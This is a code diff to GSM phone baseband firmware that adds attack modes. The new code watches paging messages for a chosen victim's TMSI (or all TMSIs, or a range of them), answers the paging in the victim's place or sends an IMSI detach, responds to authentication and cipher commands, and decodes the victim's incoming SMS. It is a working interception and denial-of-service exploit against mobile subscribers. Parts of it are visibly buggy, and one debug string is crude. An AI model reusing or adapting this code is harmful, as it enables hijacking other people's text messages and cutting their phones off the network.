+	gh->msg_type = GSM48_MT_RR_PAG_RESP;
+
+	pr->key_seq = key_seq;
+	pr->cm2_len = sizeof(pr->cm2);
+	gsm48_encode_classmark2(&pr->cm2);
+
+	memcpy(pr->data, midata, milen);
+
+	msg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, 0, CR_MS2BS_CMD);
+	msg->l2h[1]= LAPDm_CTRL_U(LAPDm_U_SABM, 1);
+	/* TODO compute actual length */
+	/* 7 (classmark2 + RR) + MI */
+	msg->l2h[2] = LAPDm_LEN(7 + milen);
+
+	lapdm_pad_msgb(msg, 23);
+
+	l1ctl_tx_data_req(msg);
+	printf("-> PAGING RESPONSE\n");
+
+	return 0;
+}
+
+static int tx_reset_req(uint8_t type){
+	struct msgb *msg;
+	struct l1ctl_reset *res;
+
+	msg = l1ctl_msgb_alloc(L1CTL_RESET_REQ);
+	if(!msg) return -1;
+	res = (struct l1ctl_reset *) msgb_put(msg, sizeof(*res));
+	res->type = type;
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+/* dummy measurement report */
+static int tx_meas_rep(uint8_t chan_nr, uint8_t tx_power, uint8_t timing_advance){
+	struct msgb *nmsg;
+	struct gsm48_hdr *gh;
+	struct gsm48_meas_res *mr;
+	struct l1ctl_info_ul *l1i_ul;
+	uint8_t *sacch_l1;
+	
+	nmsg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!nmsg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(nmsg, sizeof(*l1i_ul));
+
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0x40; // sacch indication
+
+	/* make space for sacch l1 header */
+	sacch_l1 = msgb_put(nmsg, 2);
+
+	nmsg->l2h = msgb_put(nmsg, 3);
+
+	gh = (struct gsm48_hdr *) msgb_put(nmsg, sizeof(*gh));
+	mr = (struct gsm48_meas_res *) msgb_put(nmsg, sizeof(*mr));
+
+	gh->proto_discr = GSM48_PDISC_RR;
+	gh->msg_type = GSM48_MT_RR_MEAS_REP;
+
+	/* measurement results */
+	mr->rxlev_full = 58;
+	mr->rxlev_sub = 58;
+	mr->rxqual_full = 0;
+	mr->rxqual_sub = 0;
+	mr->dtx_used = 0; // FIXME: no DTX yet
+	mr->ba_used = 0;
+	mr->meas_valid = 0;
+
+	mr->no_nc_n_hi = 0 >> 2;
+	mr->no_nc_n_lo = 0 & 3;
+	mr->rxlev_nc1 = 0;
+	mr->rxlev_nc2_hi = 0 >> 1;
+	mr->rxlev_nc2_lo = 0 & 1;
+	mr->rxlev_nc3_hi = 0 >> 2;
+	mr->rxlev_nc3_lo = 0 & 3;
+	mr->rxlev_nc4_hi = 0 >> 3;
+	mr->rxlev_nc4_lo = 0 & 7;
+	mr->rxlev_nc5_hi = 0 >> 4;
+	mr->rxlev_nc5_lo = 0 & 15;
+	mr->rxlev_nc6_hi = 0 >> 5;
+	mr->rxlev_nc6_lo = 0 & 31;
+	mr->bsic_nc1_hi = 0 >> 3;
+	mr->bsic_nc1_lo = 0 & 7;
+	mr->bsic_nc2_hi = 0 >> 4;
+	mr->bsic_nc2_lo = 0 & 15;
+	mr->bsic_nc3_hi = 0 >> 5;
+	mr->bsic_nc3_lo = 0 & 31;
+	mr->bsic_nc4 = 0;
+	mr->bsic_nc5 = 0;
+	mr->bsic_nc6 = 0;
+	mr->bcch_f_nc1 = 0;
+	mr->bcch_f_nc2 = 0;
+	mr->bcch_f_nc3 = 0;
+	mr->bcch_f_nc4 = 0;
+	mr->bcch_f_nc5_hi = 0 >> 1;
+	mr->bcch_f_nc5_lo = 0 & 1;
+	mr->bcch_f_nc6_hi = 0 >> 2;
+	mr->bcch_f_nc6_lo = 0 & 3;
+
+	nmsg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, 0, CR_MS2BS_CMD);
+	nmsg->l2h[1]= 0x03; //LAPDm_CTRL_U(LAPDm_U_SABM, 1);
+	/* TODO compute actual length */
+	nmsg->l2h[2] = 0x49;
+
+	sacch_l1[0] = timing_advance;
+	sacch_l1[1] = tx_power;
+
+	printf("MEAS REP: pwr=%d TA=%d meas-invalid=%d "
+			"rxlev-full=%d rxlev-sub=%d rxqual-full=%d rxqual-sub=%d "
+			"dtx %d ba %d no-ncell-n %d\n", tx_power, ta, mr->meas_valid,
+			mr->rxlev_full - 110, mr->rxlev_sub - 110,
+			mr->rxqual_full, mr->rxqual_sub, mr->dtx_used, mr->ba_used,
+			(mr->no_nc_n_hi << 2) | mr->no_nc_n_lo);
+
+	l1ctl_tx_data_req(nmsg);
+}
+
+static int gsm48_rx_paging_p3(struct msgb *msg)
+{
+	struct gsm48_paging3 *pag;
+	struct msgb *mimsg = NULL;
+
+	if (msgb_l3len(msg) < sizeof(*pag)) {
+		printf("Paging3 message is too small.\n");
+		return -1;
+	}
+
+	pag = msgb_l3(msg);
+	/*
+	printf("TYP 3 - Paging1: %s chan %s to TMSI M(0x%x) \n",
+			pag_print_mode(pag->pag_mode),
+			chan_need(pag->cneed1), pag->tmsi1);
+	printf("Paging2: %s chan %s to TMSI M(0x%x) \n",
+			pag_print_mode(pag->pag_mode),
+			chan_need(pag->cneed2), pag->tmsi2);
+	printf("Paging3: %s chan %s to TMSI M(0x%x) \n",
+			pag_print_mode(pag->pag_mode),
+			"n/a ", pag->tmsi3);
+	printf("Paging4: %s chan %s to TMSI M(0x%x) \n",
+			pag_print_mode(pag->pag_mode),
+			"n/a ", pag->tmsi4);
+	*/
+
+	if(tmsi_match((uint8_t *)&pag->tmsi1, victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(6, "mi"); 
+		if(!mimsg){
+			return -1;
 		}
-		return;
+		mimsg->data[0] = 0x05;
+		mimsg->data[1] = 0xf4;
+		memcpy(&mimsg->data[2], &pag->tmsi1, 4);
+		mimsg->len = 6;
+		msgb_enqueue(&mi_queue, mimsg);
+		return 0;
+	}
+	if(tmsi_match((uint8_t *)&pag->tmsi2, victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(6, "mi"); 
+		if(!mimsg){
+			return -1;
+		}
+		mimsg->data[0] = 0x05;
+		mimsg->data[1] = 0xf4;
+		memcpy(&mimsg->data[2], &pag->tmsi2, 4);
+		mimsg->len = 6;
+		msgb_enqueue(&mi_queue, mimsg);
+		return 0;
+	}
+	if(tmsi_match((uint8_t *)&pag->tmsi4, victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(6, "mi"); 
+		if(!mimsg){
+			return -1;
+		}
+		mimsg->data[0] = 0x05;
+		mimsg->data[1] = 0xf4;
+		memcpy(&mimsg->data[2], &pag->tmsi4, 4);
+		mimsg->len = 6;
+		msgb_enqueue(&mi_queue, mimsg);
+		return 0;
 	}
 
-	if (pm_mode == PM_RANGE_RESULT) {
-		pm_mode = PM_IDLE;
-		refresh_display();
-		buzzer_volume(tone);
-		buzzer_note(NOTE(NOTE_C, OCTAVE_5));
-		tone_time = jiffies;
-		tone_on = 1;
-		return;
+	return 0;
+}
+
+
+static int gsm48_rx_paging_p2(struct msgb *msg)
+{       
+	struct gsm48_paging2 *pag;
+	int tag, len, mi_type;
+	char mi_string[GSM48_MI_SIZE];
+	struct msgb *mimsg = NULL;
+
+	if (msgb_l3len(msg) < sizeof(*pag)) {
+		printf("Paging2 message is too small.\n");
+		return -1;
+	}
+
+	pag = msgb_l3(msg);
+	/*
+	printf("TYP 2 - Paging1: %s chan %s to TMSI M(0x%x) \n",
+			pag_print_mode(pag->pag_mode),
+			chan_need(pag->cneed1), pag->tmsi1);
+	printf("Paging2: %s chan %s to TMSI M(0x%x) \n",
+			pag_print_mode(pag->pag_mode),
+			chan_need(pag->cneed2), pag->tmsi2);
+	*/
+
+	if(tmsi_match((uint8_t *)&pag->tmsi1, victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(6, "mi"); 
+		if(!mimsg){
+			return -1;
+		}
+		mimsg->data[0] = 0x05;
+		mimsg->data[1] = 0xf4;
+		memcpy(&mimsg->data[2], &pag->tmsi1, 4);
+		mimsg->len = 6;
+		msgb_enqueue(&mi_queue, mimsg);
+		return 0;
+	}
+	if(tmsi_match((uint8_t *)&pag->tmsi2, victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(6, "mi"); 
+		if(!mimsg){
+			return -1;
+		}
+		mimsg->data[0] = 0x05;
+		mimsg->data[1] = 0xf4;
+		memcpy(&mimsg->data[2], &pag->tmsi2, 4);
+		mimsg->len = 6;
+		msgb_enqueue(&mi_queue, mimsg);
+		return 0;
+	}
+
+	/* no optional element */
+	if (msgb_l3len(msg) < sizeof(*pag) + 3)
+		return 0;
+
+	tag = pag->data[0];
+	len = pag->data[1];
+	mi_type = pag->data[2] & GSM_MI_TYPE_MASK;
+
+	if (tag != GSM48_IE_MOBILE_ID)
+		return 0;
+
+	if (msgb_l3len(msg) < sizeof(*pag) + 3 + len) {
+		printf("Optional MI does not fit in here\n");
+		return -1;
+	}
+
+	/*
+	gsm48_mi_to_string(mi_string, sizeof(mi_string), &pag->data[2], len);
+	printf("Type 2 - Paging3: %s chan %s to %s M(%s) \n",
+			pag_print_mode(pag->pag_mode),
+			"n/a ",
+			mi_type_to_string(mi_type),
+			mi_string);
+	*/
+
+	if(tmsi_match(&pag->data[3], victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(len + 1, "mi"); 
+		if(!mimsg){
+			return -1;
+		}
+		memcpy(mimsg->data, &pag->data, len + 1);
+		mimsg->len = pag->data[1] + 1;
+		msgb_enqueue(&mi_queue, mimsg);
+		return 0;
+	}
+
+	return 0;
+}
+
+static int tmsi_match(uint8_t *mi, uint8_t *tmsi){
+	if(attack_mode == MODE_ALL_PAGING){
+		printf("%s\n", osmo_hexdump(mi, 4));
+		return 1;
+	}
+	if(attack_mode == MODE_RANGE_PAGING && mi[3] >= tmsi_range_min && mi[3] <= tmsi_range_max && tmsi_range_min >= 0){
+		printf("%s\n", osmo_hexdump(mi, 4));
+		return 1;
+	}
+	if(attack_mode != MODE_NONE && mi[0] == tmsi[0] && mi[1] == tmsi[1] && mi[2] == tmsi[2] && mi[3] == tmsi[3]){
+		printf("%s\n", osmo_hexdump(mi, 4));
+		return 1;
+	}
+	if(attack_mode == MODE_NONE && mi[0] == tmsi[0] && mi[1] == tmsi[1] && mi[2] == tmsi[2] && mi[3] == tmsi[3]){
+		printf("\n\nFOUND\n\n");
 	}
+	printf("%s does not match\n", osmo_hexdump(mi, 4));
+	
+	return 0;
 }
 
+
+static int gsm48_rx_paging_p1(struct msgb *msg)
+{
+	struct gsm48_paging1 *pag;
+	int mi_type, len1, tag, len2;
+	char mi_string[GSM48_MI_SIZE];
+	struct msgb *mimsg = NULL;
+
+	/* is there enough room for the header + LV? */
+	if (msgb_l3len(msg) < sizeof(*pag) + 2) {
+		printf("PagingRequest is too short.\n");
+		return -1;
+	}
+
+	pag = msgb_l3(msg);
+
+	mi_type = pag->data[1] & GSM_MI_TYPE_MASK;
+	len1 = pag->data[0];
+
+	if (mi_type != GSM_MI_TYPE_NONE) {
+		/*
+		gsm48_mi_to_string(mi_string, sizeof(mi_string), &pag->data[1], len1);
+		printf("Paging1: %s chan %s to %s M(%s) \n",
+				pag_print_mode(pag->pag_mode),
+				chan_need(pag->cneed1),
+				mi_type_to_string(mi_type),
+				mi_string);
+		*/
+	} else {
+		return 0;
+	}
+
+	if(tmsi_match(&pag->data[2], victim_tmsi)){
+		tx_chan_req();
+		mimsg = msgb_alloc(pag->data[0] + 1, "mi"); 
+		if(!mimsg){
+			return -1;
+		}
+		memcpy(mimsg->data, &pag->data, pag->data[0] + 1);
+		mimsg->len = pag->data[0] + 1;
+		msgb_enqueue(&mi_queue, mimsg);
+	}
+
+	if (msgb_l3len(msg) < sizeof(*pag) + 2 + len1 + 3)
+		return 0;
+
+	tag = pag->data[2 + len1 + 0];
+	len2 = pag->data[2 + len1 + 1];
+	mi_type = pag->data[2 + len1 + 2] & GSM_MI_TYPE_MASK;
+	if (tag == GSM48_IE_MOBILE_ID && mi_type != GSM_MI_TYPE_NONE) {
+		if (msgb_l3len(msg) < sizeof(*pag) + 2 + len1 + 3 + len2) {
+			printf("Optional MI does not fit here.\n");
+			return -1;
+		}
+		if(tmsi_match(&pag->data[2 + len1 + 2], victim_tmsi)){
+			tx_chan_req();
+			mimsg = msgb_alloc(pag->data[2 + len1 + 2] + 1, "mi"); 
+			if(!mimsg){
+				return -1;
+			}
+			memcpy(mimsg->data, &pag->data, &pag->data[2 + len1 + 2] + 1);
+			mimsg->len = pag->data[2 + len1 + 2] + 1;
+			msgb_enqueue(&mi_queue, mimsg);
+		}
+
+		/*
+		gsm48_mi_to_string(mi_string, sizeof(mi_string), &pag->data[2 + len1 + 2], len2);
+		printf("Paging2: %s chan %s to %s M(%s) \n",
+				pag_print_mode(pag->pag_mode),
+				chan_need(pag->cneed2),
+				mi_type_to_string(mi_type),
+				mi_string);
+		*/
+	}
+
+	return 0;
+}
+
+
+/* END OF PAGING functions */
+
+/* PM handling */
+
 /* sync / SI */
 
 static void enter_sync(void)
@@ -993,6 +2078,7 @@ static void enter_sync(void)
 	struct l1ctl_fbsb_req *req;
 	uint16_t a = arfcn;
 
+	printf("ENTERING SYNC\n\n");
 	l1s_reset();
 	l1s_reset_hw();
 	pm_count = 0;
@@ -1059,6 +2145,8 @@ uint16_t *_mnc, uint16_t *_lac)
 
 static void request_ul_levels(uint16_t a)
 {
+	/* we are not interested in any neighbor cell measurements */
+	return 0;
 	struct msgb *msg = l1ctl_msgb_alloc(L1CTL_NEIGH_PM_REQ);
 	struct l1ctl_neigh_pm_req *pm_req =
 		(struct l1ctl_neigh_pm_req *) msgb_put(msg, sizeof(*pm_req));
@@ -1104,9 +2192,6 @@ static void handle_sync(void)
 		return;
 	}
 
-	if (tone_on)
-		return;
-
 	/* no UL result, no SI result */
 	if (!ul_new && !(si_new & 0x100))
 		return;
@@ -1163,6 +2248,7 @@ static void handle_sync(void)
 			printf("ccch_mode=%d\n", ccch_conf);
 
 			l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+			printf("FINISHED SYNC\n\n");
 		}
 		break;
 	case GSM48_MT_RR_SYSINFO_4:
@@ -1174,14 +2260,6 @@ static void handle_sync(void)
 	if (cursor >= 0)
 		refresh_display();
 
-	/* tone depends on successfully received BCCH */
-	buzzer_volume(tone);
-	tone_time = jiffies;
-	tone_on = 1;
-	if ((si_new & 0xff) == 0xff)
-		buzzer_note(NOTE(NOTE_C, OCTAVE_2));
-	else
-		buzzer_note(NOTE(NOTE_C, OCTAVE_5));
 	si_new = 0;
 }
 
@@ -1237,6 +2315,16 @@ static void exit_rach(void)
 	refresh_display();
 }
 
+static void handle_stuck(void){
+	unsigned long elapsed = jiffies - last_net_frame;
+
+	if(elapsed > HZ * 5 && ccch_conf != -1){
+		update_net_frame();
+		printf("\n[!] Did not receive anything from the network, resyncing!\n\n");
+		reenter_sync();
+	}
+}
+
 static void handle_assign(void)
 {
 	if (mode != MODE_RACH)
@@ -1283,15 +2371,91 @@ static int gsm48_match_ra(struct gsm48_req_ref *ref)
 
 
 /* note: called from IRQ context */
-static void rx_imm_ass(struct msgb *msg)
+
+/*
+TODO:
+We have to check the random references in order to differ between immediate assignments
+for e.g. location update requests of phones locking on the cell
+*/
+static int rx_imm_ass(struct msgb *msg)
 {
 	struct gsm48_imm_ass *ia = msgb_l3(msg);
+	uint8_t ch_type, ch_subch, ch_ts;
+	struct msgb *mimsg;
+	int rv;
 
-	if (gsm48_match_ra(&ia->req_ref)) {
-		assign = ASSIGN_RESULT;
-		ta = ia->timing_advance;
-		rach = 0;
+	/* Discard paket TBF assignement */
+	if (ia->page_mode & 0xf0)
+		return 0;
+
+	/* FIXME: compare RA and GSM time with when we sent RACH req */
+
+	current_chan = ia->chan_desc.chan_nr;
+	rsl_dec_chan_nr(current_chan, &ch_type, &ch_subch, &ch_ts);
+
+	if(ia->req_ref.ra != 0x9f)
+		return 0;
+
+	/* TODO: check if we really need to send this */
+	// tx_meas_rep(current_chan, 0, ia->timing_advance);
+	if (!ia->chan_desc.h0.h) {
+		/* Non-hopping */
+		uint16_t arfcnn;
+
+		arfcnn = ia->chan_desc.h0.arfcn_low | (ia->chan_desc.h0.arfcn_high << 8);
+
+		printf("GSM48 IMM ASS (ra=0x%02x, chan_nr=0x%02x, ARFCN=%u, TS=%u, SS=%u, TSC=%u) \n", ia->req_ref.ra,
+				current_chan, arfcn, ch_ts, ch_subch,
+				ia->chan_desc.h0.tsc);
+
+		/* request L1 to go to dedicated mode on assigned channel */
+		rv = l1ctl_tx_dm_est_req_h0(arfcnn, current_chan, ia->chan_desc.h0.tsc, GSM48_CMODE_SIGN);
+	} else {
+		/* Hopping */
+		uint8_t maio, hsn, ma_len;
+		uint16_t ma[64], arfcnn;
+		int i, j, k;
+
+		hsn = ia->chan_desc.h1.hsn;
+		maio = ia->chan_desc.h1.maio_low | (ia->chan_desc.h1.maio_high << 2);
+
+		printf("HOPPING GSM48 IMM ASS (ra=0x%02x, chan_nr=0x%02x, HSN=%u, MAIO=%u, TS=%u, SS=%u, TSC=%u) \n", ia->req_ref.ra,
+				current_chan, hsn, maio, ch_ts, ch_subch,
+				ia->chan_desc.h1.tsc);
+
+		/* decode mobile allocation */
+		ma_len = 0;
+		for (i=1, j=0; i<=1024; i++) {
+			arfcnn = i & 1023;
+			if (freq[arfcnn].mask & 0x01) {
+				k = ia->mob_alloc_len - (j>>3) - 1;
+				if (ia->mob_alloc[k] & (1 << (j&7))) {
+					ma[ma_len++] = arfcnn;
+				}
+				j++;
+			}
+		}
+
+		/* request L1 to go to dedicated mode on assigned channel */
+		rv = l1ctl_tx_dm_est_req_h1(maio, hsn, ma, ma_len, current_chan, ia->chan_desc.h1.tsc, GSM48_CMODE_SIGN);
+	}
+
+
+	mimsg = msgb_dequeue(&mi_queue);
+	if(!mimsg) {
+		reenter_sync();
+		return -1;
 	}
+
+	if(attack_mode == MODE_PAGING || attack_mode == MODE_RANGE_PAGING || attack_mode == MODE_STEAL_SMS){
+		tx_paging_response(current_chan, mimsg->data, mimsg->len);
+	} else {
+		tx_imsi_detach(current_chan, mimsg->data, mimsg->len);
+	}
+	init_lapdm();
+	msgb_free(mimsg);
+
+	return 0;
 }
 
 /* note: called from IRQ context */
@@ -1318,6 +2482,7 @@ static void rx_imm_ass_rej(struct msgb *msg)
 	struct gsm48_req_ref *req_ref;
 	int i;
 
+	printf("\nIMM ASS RAPE!1!\n\n");
 	for (i = 0; i < 4; i++) {
 		/* request reference */
 		req_ref = (struct gsm48_req_ref *)
@@ -1329,6 +2494,267 @@ static void rx_imm_ass_rej(struct msgb *msg)
 	}
 }
 
+static void rx_acch(struct msgb *msg)
+{
+	uint8_t address = msg->data[0];
+	uint8_t control = msg->data[1];
+	uint8_t length = msg->data[2];
+	uint8_t n_recv;
+	uint8_t n_send;
+	uint8_t p_f, cr, s_u, sapi;
+
+	if(lapd_state.active == 0){
+		return;
+	}
+	cr = LAPDm_ADDR_CR(address);
+	sapi = LAPDm_ADDR_SAPI(address);
+
+	p_f = LAPDm_CTRL_PF_BIT(control);
+
+	printf("%s (%d) ", cr == 1 ? "CMD" : "RESP", p_f);
+	if(LAPDm_CTRL_is_I(control)){
+		/* in theory we would need to check the P bit and reply with
+		   an S func=RR frame, but we skip this and always reply with rr
+		*/
+		n_recv = LAPDm_CTRL_Nr(control);
+		n_send = LAPDm_CTRL_I_Ns(control);
+
+		/*
+		   On receipt of a valid I frame or supervisory frame (RR, RNR or REJ),
+		   even in the own receiver busy or timer recovery conditions, the data
+		   link layer entity shall treat the N(R) contained in this frame as an
+		   acknowledgement for all the I frames it has transmitted with an N(S)
+		   up to and including the received N(R) - 1. The value of the
+		   acknowledge state variable V(A) shall be set to the value of N(R). 
+		   as we acknowledge the receipt of an iframe, we have to send back N(S)...
+		*/
+		lapd_state.v_ack = n_send;
+
+		/*
+		   When a data link layer entity is not in an own receiver busy
+		   condition and receives a valid I frame whose send sequence number is
+		   equal to the current receive state variable V(R), the data link
+		   layer entity shall: increment by 1 its receive state variable V(R),
+		   and act as indicated below.
+		*/
+		/*
+		  The value of the receive state variable shall be incremented by one
+		  with the receipt of an error-free, in-sequence I frame whose send
+		  sequence number N(S) equals the receive state variable V(R).
+		*/
+		if(n_send == lapd_state.v_recv){
+			lapd_state.v_recv = inc_mod(lapd_state.v_recv, 8);
+		}
+
+		printf("LAPDm I frame ");
+
+		printf("N(R)=%d, N(S)=%d\n", n_recv, n_send);
+
+		/* The value of the send state variable shall be incremented by 1 with
+		   each successive I frame transmission */
+		/* BUG squashing: this should only be incremented on *sending* and I frame, not on receiving
+		lapd_state.v_send = inc_mod(lapd_state.v_send, 8);
+		*/
+
+		/*
+		   The receive ready (RR) supervisory frame is used by a data link layer entity to:
+		   a) indicate it is ready to receive an I frame;
+		   b) acknowledge previously received I frames numbered up to and including N(R) - 1
+		      (as defined in clause 5)
+		   c) clear a busy condition that was indicated by the earlier transmission of an
+		      RNR frame by that same data link layer entity.
+		*/
+		//if(lapd_state.v_send == 2) reenter_sync();
+		tx_lapdm_rr(current_chan, lapd_state.v_ack + 1);
+
+		if(length >= 0x5){
+			uint8_t proto_discr = msg->data[3];
+			uint8_t msg_type = msg->data[4];
+
+			switch(proto_discr){
+				case GSM48_PDISC_SMS:
+					printf("SMS ");
+					switch(msg_type){
+						case GSM411_MT_CP_DATA:
+							printf("CP-DATA ");
+							sms_state.sms_mode = SMS_CP_DATA;
+							/* N(S) will be what N(R) is on the downlink, receiver expects this as the next
+							   seq number */
+							decode_dspl_sms(msg->data, msg->len);
+							break;
+						default:
+							printf("unknown SMS (%x) ", msg_type);
+							break;
+					}
+					break;
+				case GSM48_PDISC_RR:
+					printf("RR ");
+					switch(msg_type){
+						case GSM48_MT_RR_CIPH_M_CMD:
+							printf("CIPHER MODE COMMAND ");
+							if(lapd_state.ciph_count >= 15) reenter_sync();
+							lapd_state.ciph_count++;
+							/* if we set a kc, respond with cipher mode complete */
+							if(cipher_mode == CIPHER_ACTIVE || attack_mode == MODE_STEAL_SMS){
+								enable_ciphering();
+								tx_cipher_mode_complete(current_chan, lapd_state.v_recv, n_recv);
+							}
+							break;
+						case GSM48_MT_RR_CHAN_REL:
+							printf("CHANNEL RELEASE ");
+							reenter_sync();
+							if(sms_state.sms_mode == SMS_RP_ACK){
+								sms_state.sms_mode = SMS_NONE;
+								refresh_display();
+							}
+							break;
+						default:
+							printf("unknown RR (%x) ", msg_type);
+							break;
+					}
+					break;
+				case GSM48_PDISC_CC:
+					printf("CC ");
+					switch(msg_type){
+						case GSM48_MT_CC_SETUP:
+							printf("CC SETUP ");
+							break;
+						case GSM48_MT_CC_HOLD:
+							printf("CC HOLD ");
+							break;
+						default:
+							printf("unknown CC (%x) ", msg_type);
+							break;
+					}
+					break;
+				case GSM48_PDISC_MM:
+					printf("MM ");
+					switch(msg_type){
+						case GSM48_MT_MM_ID_REQ:
+							printf("IDENTITY REQ ");
+							tx_identity_response(current_chan, lapd_state.v_recv, n_recv, msg->data[5]);
+							break;
+						case GSM48_MT_MM_AUTH_REQ:
+							printf("AUTH REQ ");
+							if(attack_mode == MODE_STEAL_SMS){
+								tx_authentication_response(current_chan, lapd_state.v_recv, n_recv);
+							}
+							break;
+						case GSM48_MT_MM_ABORT:
+							printf("ABORT ");
+							break;
+						default:
+							printf("unknown MM (%x) ", msg_type);
+							break;
+					}
+					break;
+				default:
+					if (sms_state.sms_mode == SMS_CP_DATA && sapi == LAPDm_SAPI_3){
+						tx_sms_cp_ack(current_chan, lapd_state.v_recv, n_recv);
+						decode_dspl_sms(msg->data, msg->len);
+						sms_state.sms_mode = SMS_CP_ACK;
+						printf("unkn0wn (%x) ", proto_discr);
+					}
+					return;
+					break;
+			}
+		}
+
+	} else if (LAPDm_CTRL_is_U(control)){
+		s_u = LAPDm_CTRL_U_BITS(control);
+
+		printf("LAPDm U frame func=");
+		switch(s_u){
+			case LAPD_U_SABM:
+			case LAPD_U_SABME:
+				printf("SABM (%d)", p_f);
+				lapd_state.sapi = sapi;
+				tx_lapdm_ua(current_chan);
+				break;
+			case LAPD_U_DM:
+				printf("DM");
+				break;
+			case LAPD_U_UI:
+				/*
+				   When a layer 3 entity requests unacknowledged information
+				   transfer, the UI unnumbered command shall be used to send
+				   information to its peer without affecting data link layer
+				   variables. UI command frames do not carry a sequence number.
+				   Therefore, the UI frame may be lost without notification to
+				   the layer 3 entity if a data link exception occurs during
+				   transmission of the command.
+				*/
+				printf("UI");
+				lapd_state.ui_count++;
+				if(lapd_state.ui_count>10 && lapd_state.active==1){
+					lapd_state.active=0;
+					reenter_sync();
+				}
+
+				break;
+			case LAPD_U_DISC:
+				printf("DISC");
+				/*
+				   The UA unnumbered response is used by a data link layer
+				   entity to acknowledge the receipt and acceptance of the mode
+				   setting commands (SABM or DISC). Received mode setting
+				   commands are not actioned until the UA response is
+				   transmitted.
+				*/
+				tx_lapdm_ua(current_chan);
+				printf("setting LAPDm session to inactive\n");
+				lapd_state.active = 0;
+				reenter_sync();
+				break;
+			case LAPD_U_UA:
+				printf("UA");
+				break;
+			default:
+				printf("unknown U frame");
+				break;
+		}
+
+	} else if (LAPDm_CTRL_is_S(control)){
+		/* r/p */
+		n_recv = LAPDm_CTRL_Nr(control);
+		s_u = LAPDm_CTRL_S_BITS(control);
+
+		printf("LAPDm S frame func=");
+
+		switch(s_u){
+			case LAPD_S_RR:
+				printf("RR ");
+				/*
+				   a) indicate it is ready to receive an I frame;
+				   b) acknowledge previously received I frames numbered up to and including N(R) - 1 
+				   c) clear a busy condition that was indicated by the earlier
+				      transmission of an RNR frame by that same data link layer
+				      entity.
+				*/
+				lapd_state.v_send = n_recv;
+				printf("N(R)=%d ", n_recv);
+				if (sms_state.sms_mode == SMS_CP_ACK) {
+					tx_sms_cp_data_rp_ack(current_chan, lapd_state.v_recv, lapd_state.v_send);
+					sms_state.sms_mode = SMS_RP_ACK;
+				}
+				break;
+			case LAPD_S_RNR:
+			case LAPD_S_REJ:
+				printf("RNR/REJ ");
+				break;
+			default:
+				printf("unknown S frame");
+				break;
+		}
+		if(p_f){
+			tx_lapdm_rr(current_chan, lapd_state.v_send);
+		}
+	} else {
+		printf("unknown LAPDm frame\n");
+	}
+	printf("\n\n\n\n");
+}
+
 /* note: called from IRQ context */
 static void rx_pch_agch(struct msgb *msg)
 {
@@ -1341,10 +2767,18 @@ static void rx_pch_agch(struct msgb *msg)
 		rx_imm_ass(msg);
 		break;
 	case GSM48_MT_RR_IMM_ASS_EXT:
-		rx_imm_ass_ext(msg);
+		//rx_imm_ass_ext(msg);
 		break;
 	case GSM48_MT_RR_IMM_ASS_REJ:
-		rx_imm_ass_rej(msg);
+		//rx_imm_ass_rej(msg);
+		break;
+	case GSM48_MT_RR_PAG_REQ_1:
+		gsm48_rx_paging_p1(msg);
+		break;
+	case GSM48_MT_RR_PAG_REQ_2:
+		gsm48_rx_paging_p2(msg);
+	case GSM48_MT_RR_PAG_REQ_3:
+		gsm48_rx_paging_p3(msg);
 		break;
 	}
 }
@@ -1389,6 +2823,9 @@ static void l1a_l23_tx(struct msgb *msg)
 	uint8_t chan_type, chan_ts, chan_ss;
 	struct l1ctl_neigh_pm_ind *pm_ind;
 	struct gsm_time tm;
+	struct l1ctl_data_ind *ccch;
+
+	ccch = (struct l1ctl_data_ind *) msg->l2h;
 
 	switch (l1h->msg_type) {
 	case L1CTL_PM_CONF:
@@ -1412,16 +2849,22 @@ static void l1a_l23_tx(struct msgb *msg)
 	case L1CTL_FBSB_CONF:
 		dl = (struct l1ctl_info_dl *) l1h->data;
 		sb = (struct l1ctl_fbsb_conf *) dl->payload;
-		if (sb->result == 0)
+		if (sb->result == 0){
 			sync_result = "ok";
-		else
+		} else {
 			sync_result = "error";
+			reenter_sync();
+		}
 		bsic = sb->bsic;
 		break;
 	case L1CTL_DATA_IND:
 		dl = (struct l1ctl_info_dl *) l1h->data;
 		msg->l2h = dl->payload;
+
 		rsl_dec_chan_nr(dl->chan_nr, &chan_type, &chan_ss, &chan_ts);
+		gsm_fn2gsmtime(&tm, ntohl(dl->frame_nr));
+
+		//printf("[%d] %s (%.4u/%.2u/%.2u) %d dBm: %s\n", chan_type, rsl_chan_nr_str(dl->chan_nr), tm.t1, tm.t2, tm.t3, (int)dl->rx_level-110, osmo_hexdump(msg->data, msg->len));
 
 		power = dl->rx_level;
 		if (dl->fire_crc >= 2) {
@@ -1436,9 +2879,24 @@ static void l1a_l23_tx(struct msgb *msg)
 			rx_bcch(msg);
 			break;
 		case RSL_CHAN_PCH_AGCH:
+			update_net_frame();
 			msg->l3h = msg->l2h;
+			/* CCCH */
 			rx_pch_agch(msg);
 			break;
+		case RSL_CHAN_Bm_ACCHs:
+		case RSL_CHAN_Lm_ACCHs:
+		case RSL_CHAN_SDCCH4_ACCH:
+		case RSL_CHAN_SDCCH8_ACCH:
+			update_net_frame();
+			msgb_pull(msg, (sizeof(struct l1ctl_info_dl) + sizeof(struct l1ctl_hdr)));
+			msg->l1h = NULL;
+			msg->l3h = msg->l2h;
+			if(msg->data[0] != 0x07){
+				printf("[%d] %s (%.4u/%.2u/%.2u) %d dBm: %s\n", chan_type, rsl_chan_nr_str(dl->chan_nr), tm.t1, tm.t2, tm.t3, (int)dl->rx_level-110, osmo_hexdump(msg->data, msg->len));
+				rx_acch(msg);
+			}
+			break;
 		}
 		sercomm_sendmsg(SC_DLCI_L1A_L23, msg);
 		return; /* msg is freed by sercom */
@@ -1478,6 +2936,43 @@ static void console_rx_cb(uint8_t dlci, struct msgb *msg)
